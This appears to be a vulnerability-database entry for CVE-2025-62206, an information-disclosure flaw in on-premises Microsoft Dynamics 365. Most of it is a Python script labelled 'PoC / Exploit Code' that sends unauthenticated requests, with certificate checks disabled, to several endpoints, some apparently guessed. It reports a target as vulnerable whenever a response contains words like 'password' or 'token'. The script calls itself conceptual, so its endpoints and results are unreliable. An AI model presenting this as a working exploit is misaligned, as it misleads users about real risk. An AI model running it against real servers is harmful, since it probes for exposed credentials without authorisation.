Exposure of sensitive information to an unauthorized actor in Microsoft Dynamics 365 (on-premises) allows an unauthorized attacker to disclose information over a network.
Microsoft Dynamics 365 (on-premises) - 所有未安装安全更新的版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62206 PoC - Microsoft Dynamics 365 Information Disclosure
# Note: This is a conceptual PoC based on the vulnerability description
# Actual exploitation may require specific authentication context or user interaction
import requests
import sys
def check_vulnerability(target_url):
"""
Check if target Microsoft Dynamics 365 instance is vulnerable to CVE-2025-62206
"""
# Common Dynamics 365 endpoints that might be affected
endpoints = [
'/api/data/v9.0/',
'/api/discovery/',
'/api/business/',
'/api/custom/',
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json',
}
vulnerable = False
results = []
for endpoint in endpoints:
try:
url = target_url.rstrip('/') + endpoint
response = requests.get(url, headers=headers, timeout=10, verify=False)
# Check if response contains sensitive information without proper auth
if response.status_code == 200:
# Check for sensitive data patterns in response
if any(pattern in response.text.lower() for pattern in ['password', 'secret', 'token', 'key', 'credential']):
vulnerable = True
results.append(f"[+] Potential sensitive data found at {endpoint}")
results.append(f" Status: {response.status_code}")
results.append(f" Content length: {len(response.text)} bytes")
except requests.exceptions.RequestException as e:
results.append(f"[-] Error accessing {endpoint}: {str(e)}")
if vulnerable:
print("[*] Target appears to be VULNERABLE to CVE-2025-62206")
print("[*] Sensitive information disclosure possible without authentication")
else:
print("[*] Target does not appear to be vulnerable (or proper auth is required)")
return vulnerable, results
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} https://dynamics365.example.com")
sys.exit(1)
target = sys.argv[1]
vulnerable, results = check_vulnerability(target)
for result in results:
print(result)